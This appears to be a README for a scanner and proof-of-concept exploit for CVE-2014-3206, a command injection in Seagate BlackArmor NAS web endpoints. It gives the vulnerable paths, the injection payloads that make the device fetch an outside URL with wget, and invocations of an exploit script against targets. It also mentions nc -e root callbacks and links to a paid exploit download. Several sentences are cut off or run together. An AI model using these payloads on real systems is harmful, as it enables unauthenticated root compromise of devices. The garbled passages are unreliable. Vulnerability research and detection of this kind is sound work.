
Scanner and proof-of-concept exploit for CVE-2014-3206, an unauthenticated command injection in Seagate BlackArmor NAS backupmgt PHP endpoints, with CSV/JSON reporting.
Seagate BlackArmor NAS - Command Injection
| field | value |
|---|---|
| CVE | CVE-2014-3206 |
| severity | critical |
| CVSS | 9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| fixed in | no separate fixed build; product line EOL, last public firmware 2000.1331 (BA NAS 220) / 1000.1321 (BA NAS 110) / 4000.1411 (BA NAS 400), 2012-08-15 |
| class | command injection (CWE-20, unescaped $_GET into exec()) |
| scanner version | 1.0.0 |
| python | 3.8+ stdlib only, no third-party deps |
If you want the exploit, find it here: https://satoshidisk.com/pay/CT5RTf
The Seagate BlackArmor NAS (NAS 110, NAS 220, and the 400 series per
$_GET values straight into the exec() shell string. Two endpoints
are affected: GET /backupmgt/localJob.php?session=... feeds the
session parameter into
exec("cat $immedLog | grep $session | cut -d '".Chr(002)."' -f 3"),
and GET /backupmgmt/pre_connect_check.php?auth_name=... concatenates
auth_name into the rsync command handed to exec(). Because the
values are not passed through escapeshellarg(), a semicolon-terminated
tail runs as its own shell command, giving unauthenticated root-level
RCE on the device. The nuclei template proves execution with two raw
requests whose injected tails wget the interactsh URL; the matcher is
the word http on the interactsh_protocol part.
Seagate BlackArmor NAS allows remote attackers to execute arbitrary
code via the session parameter to /backupmgt/localJob.php or the
auth_name parameter to /backupmgmt/pre_connect_check.php
(CVSS 3.0 base 9.8, vector CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,
CWE-20 Improper Input Validation, EPSS 0.76675 / 99.5 percentile,
listed in the CISA Known Exploited Vulnerabilities catalog). In the
firmware source, localJob.php reads $session = $_GET["session"] and
embeds it unquoted into two exec() pipelines over the immediate backup
log; pre_connect_check.php reads server_ip, auth_name, auth_pass
and alias_name and builds
rsync -rnP --password-file=temp.pas --log-file=pre.log --contimeout=5 /usr/sbin <auth_name>@<server_ip>::<alias_name> for @exec(). Each
concatenation is a plain string interpolation, so fail;wget http://host/; terminates the intended command and chains additional
ones (Exploit-DB 33159 demonstrates nc -e callbacks as uid=0).
The template (http/cves/2014/CVE-2014-3206.yaml, max-request: 2)
issues both raw requests and matches the single word http on the
interactsh protocol part, i.e. it is satisfied when the OOB HTTP
callback arrives. The related hardcoded backdoor password of
pre_connect_check.php is tracked separately as CVE-2014-3205. The
product line is vintage and no post-2012 firmware superseded these
builds.
GET {base}/backupmgt/localJob.php?session=fail;wget+http://{token}/;
with {token} = 12-char md5 of CVE-2014-3206|{base}.GET {base}/backupmgmt/pre_connect_check.php?auth_name=fail;wget+http://{token}/;;
on a 404 the scanner retries the /backupmgt/ spelling seen in thestatus_code == 200
AND (word http present in the body/status line - the exact template
word matcher on the protocol part - OR the per-target md5 token
reflected in the body, which is the self-contained stand-in for the
interactsh callback).True when either stage matches, matching nuclei's
any-response matcher application over the two raw requests.fetch() returns (text, status, content_type, reason); HTTPError
bodies are read so non-200 replies are still observed; 2 attempts with
linear backoff, 30s timeout, errors="replace" decoding.urls.txt are auto-prefixed with http://; a
12-char md5 token fingerprints the per-row details.# scanner: streamed CSV + optional JSON sidecar
python scanner/CVE-2014-3206/scanner.py urls.txt 8 CVE-2014-3206.csv --json CVE-2014-3206.json
# exploit: result dict + optional CSV/JSON dumps
python exploit/CVE-2014-3206/exploit.py http://target:8080 --csv CVE-2014-3206.csv --json CVE-2014-3206.json --verbose
urls.txt is a plain file, one target per line, # for comments.
[*] Seagate BlackArmor NAS CVE-2014-3206 command injection scanner
scanner : CVE-2014-3206 v1.0.0
threads : 4 | csv: .scratch/CVE-2014-3206.csv | json: .scratch/CVE-2014-3206.json
[*] Seagate BlackArmor NAS CVE-2014-3206 command injection scanner
[2026-12-03 12:36:37] loaded 2 target(s) from .scratch/urls_3206.txt
[2026-12-03 12:36:37] [1/2] http://127.0.0.1:8099 -> VULNERABLE
[2026-12-03 12:36:37] [2/2] http://127.0.0.1:8099 -> VULNERABLE
[2026-12-03 12:36:37] json sidecar saved: .scratch/CVE-2014-3206.json
[2026-12-03 12:36:37] summary: total=2 vulnerable=2 not-vuln=0 errors=0
[2026-12-03 12:36:37] timing : avg=8ms max=8ms wall=0.01s
[2026-12-03 12:36:37] report saved: .scratch/CVE-2014-3206.csv
The reference run above used a file-backed mock of the two PHP pages
that reflects fail;wget+http://{token}/;, so both stages matched on
status 200, the word http and the token reflection. A bare
python -m http.server without the mock files answers 404 on both
paths and shows not-vuln on every matcher; against a real BlackArmor
(Web UI on port 8080) both rows flip to VULNERABLE.
| column | meaning |
|---|---|
| n | 1-based row number |
| url | target as provided |
| status | ok / error |
| vulnerable | verdict |
| elapsed_ms | per-target timing |
| token | 12-char md5 over the row details |
| result_b64 | base64(JSON) full details |
scanner.py - detection only, stdlib, streamed CSV + JSON sidecar.README.md - this file.DESCRIPTION.md - deeper technical notes.../../exploit/CVE-2014-3206/exploit.py - two-request POC.| code | meaning |
|---|---|
| 0 | at least one target answered |
| 2 | every target errored |